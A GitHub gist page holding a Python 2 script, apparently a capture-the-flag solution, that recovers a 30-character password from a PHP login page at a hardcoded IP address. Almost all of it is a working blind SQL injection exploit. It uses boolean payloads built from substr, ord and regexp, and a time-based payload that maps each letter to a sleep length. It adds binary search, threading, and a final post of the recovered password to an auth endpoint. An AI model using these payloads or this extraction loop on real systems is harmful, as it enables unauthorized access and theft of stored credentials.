Skip to content

Instantly share code, notes, and snippets.

@richo
Created February 23, 2014 01:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save richo/9165055 to your computer and use it in GitHub Desktop.
Save richo/9165055 to your computer and use it in GitHub Desktop.
import threading
import time
import requests
BACKEND = "http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php"
SOLUTION = "http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/auth.php"
s = requests.Session()
password = []
guesses = 0
SLEEP_SKEW = 5
SLEEP_SKEW = 2
LIKELY = set(('lrniasote'))
LIKELY = set(('asote'))
ALPHABET = set('abcdefghijklmnopqrstuvwxyz')
# ALPHABET = set('abcdefghiklmnoprstuvwxy')
UNLIKELY = ALPHABET.difference(LIKELY)
# # ONLY USE IF YOU'RE TESTING FOR E
# LIKELY = set('lrniasot')
# # LIKELY = set(('asote'))
# ALPHABET = set('abcdfghilmnopqrstuvwxy')
def split(s):
n1 = set()
n2 = s.copy()
for i in xrange(len(s)/2):
n1.add(n2.pop())
return (n2, n1)
current_cookie = None
def boolinate(data):
global guesses, current_cookie
guesses += 1
print "Guess number %d" % guesses
res = s.post(BACKEND, data={"password": data})
if current_cookie:
assert current_cookie == s.cookies["PHPSESSID"]
else:
current_cookie = s.cookies["PHPSESSID"]
return res.content.strip() == "True"
# print "%s => %s" % (chr(guess), res.content)
def injection(pos, lower, upper):
return """' or ((ord(substr(password, %d, 1)) >= %d) and (ord(substr(password, %d, 1)) < %d)) or password = '""" % (pos, lower, pos, upper)
def range_injection(pos, r):
print """' or (substr(password, %d, 1) regexp '[%s]') or password = '""" % (pos, "".join(r))
return """' or (substr(password, %d, 1) regexp '[%s]') or password = '""" % (pos, "".join(r))
def confirm_injection(pos, char):
return """' or (substr(password, %d, 1) = '%s') or password = '""" % (pos, chr(char))
def gen_sleep_table():
sleep_time = SLEEP_SKEW
sleep_lookup = {}
sleep_table = """case (ord(substr(password, %d, 1))) """
for i in range(97, 122):
sleep_lookup[sleep_time] = chr(i)
sleep_table += "when %d then %d " % (i, sleep_time)
sleep_time += SLEEP_SKEW
sleep_table += "end"
return sleep_table, sleep_lookup
SLEEP_TABLE, SLEEP_LOOKUP_TABLE = gen_sleep_table()
def timing_injection(pos):
sleep_table = SLEEP_TABLE % pos
return """' or sleep(%s) or password = '""" % sleep_table
def validate_set(pos, s):
if len(s) == 1:
return "".join(s)
return enum_set(pos, s)
def enum_set(pos, s):
if len(s) == 1:
return "".join(s)
branches = split(s)
if boolinate(range_injection(pos, branches[0])):
# if len(branches[1]) == 1:
# return "".join(branches[1])
return enum_set(pos, branches[0])
else:
# if len(branches[0]) == 1:
# return "".join(branches[0])
return enum_set(pos, branches[1])
def first_guess(pos):
likely = LIKELY
likely1 = ('a', 's', 'o', 't', 'e')
likely2 = ('l', 'r', 'n', 'i')
if boolinate(range_injection(pos, likely)):
if boolinate(range_injection(pos, likely1)):
if boolinate(range_injection(pos, ('e', 't'))):
if boolinate(confirm_injection(pos, ord('e'))):
return 'e'
elif boolinate(range_injection(pos, ('o', 's'))):
if boolinate(confirm_injection(pos, ord('o'))):
return 'o'
else:
return 'a'
else:
if boolinate(range_injection(pos, ('l', 'r'))):
if boolinate(confirm_injection(pos, ord('l'))):
return 'l'
else:
return 'r'
# Go about our business
return guess(pos, 97, 110)
def guess(pos, lower, upper):
# TODO logic to fallback to linear search?
_range = upper - lower
if _range == 1:
# Last one, we gotta punt
if pos == 30:
print "LAST CHAR, TAKING OUR CHANCES"
return chr(lower)
# We're down to two characters
print "[%d] is %s or %s" % (pos, lower, upper)
if boolinate(confirm_injection(pos, lower)):
return chr(lower)
else:
if upper == 114:
if boolinate(confirm_injection(pos, upper)):
return chr(upper)
else:
return chr(115)
# print "Trying %d-%d" % (lower, upper)
evil = injection(pos, lower, upper)
def _next(lower, upper):
ret = guess(pos, lower, upper)
return ret
if boolinate(evil):
if _range == 0:
return chr(lower)
_n = (lower, upper - (_range/2))
print "++ [%d - %d] -> trying [%d - %d]" % ((lower, upper) + _n)
return _next(*_n)
else:
_n = (upper, upper + (_range/2))
print "-- [%d - %d] -> trying [%d - %d]" % ((lower, upper) + _n)
return _next(*_n)
# def find_char(pos):
# # Locate the first character
# guess = [97, 110]
# evil = injection(pos, *guess)
# # print evil
# if boolinate(evil):
# print "[%02d] in %s" % (pos, repr(guess))
# guess = [guess[0], guess[1]/2]
# if boolinate(evil):
# print "[%02d] in %s" % (pos, repr(guess))
# else:
# else:
# print "[%02d] not in %s" % (pos, repr(guess))
# guess = [guess[1]+ 1, guess[1] + 7]
# if boolinate(evil):
# print "[%02d] in %s" % (pos, repr(guess))
# def timing_guess(pos):
def main():
for i in xrange(30):
i += 1
char = first_guess(i)
print "--"
assert boolinate(confirm_injection(i, ord(char)))
print "confirmed %d for %s" % (i, char)
print "Trying range check"
chars = ('a', 'b', 'c', 'd', char)
assert boolinate(range_injection(i, chars))
print "--"
# HACKS, confirm assumptions
password.append(char)
break
p = "".join(password)
res = s.post(SOLUTION, data={"password": p})
print res.content
def newmain():
for i in xrange(30):
i += 1
print "Enumerating Char: %d" % (i)
# if boolinate(confirm_injection(i, ord('e'))):
# print "Found an 'e'"
# password.append('e')
# continue
# Test for existance in the likely set first
if boolinate(range_injection(i, LIKELY)):
value = enum_set(i, LIKELY)
else:
value = enum_set(i, UNLIKELY)
password.append(value)
# assert boolinate(confirm_injection(i, ord(value)))
return "".join(password)
def timingmain():
container = ["-"] * 30
def solve(index):
i = index + 1
before = time.time()
boolinate(timing_injection(i))
after = time.time()
duration = after - before
print "Took %d seconds" % (duration)
rounded = round(duration / SLEEP_SKEW) * SLEEP_SKEW
print "Rounding to %d" % (rounded)
try:
guessed_value = SLEEP_LOOKUP_TABLE[rounded]
except:
guessed_value = None
if guessed_value and boolinate(confirm_injection(i, ord(guessed_value))):
# Correct guess
print "Confirmed %s in %d" % (guessed_value, i)
container[i-1] = guessed_value
else:
print "Something went awry, just doing the binary search"
container[i-1] = enum_set(i, ALPHABET)
def solve_range(f, t):
print "Starting on range(%d, %d)" % (f, t)
threads = []
for index in xrange(f, t):
def _go():
solve(index)
thread = threading.Thread(target=_go)
threads.append(thread)
thread.start()
map(lambda t: t.join(), threads)
# solve(0)
# solve_range(1, 8)
# solve_range(8, 15)
# solve_range(15, 22)
# solve_range(22, 30)
for i in xrange(30):
print "Solving for position %d" % (i)
solve(i)
solution = "".join(container)
print solution
return solution
if __name__ == "__main__":
password = timingmain()
print password
res = s.post(SOLUTION, data={"password": password})
print res.content
import pdb; pdb.set_trace()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment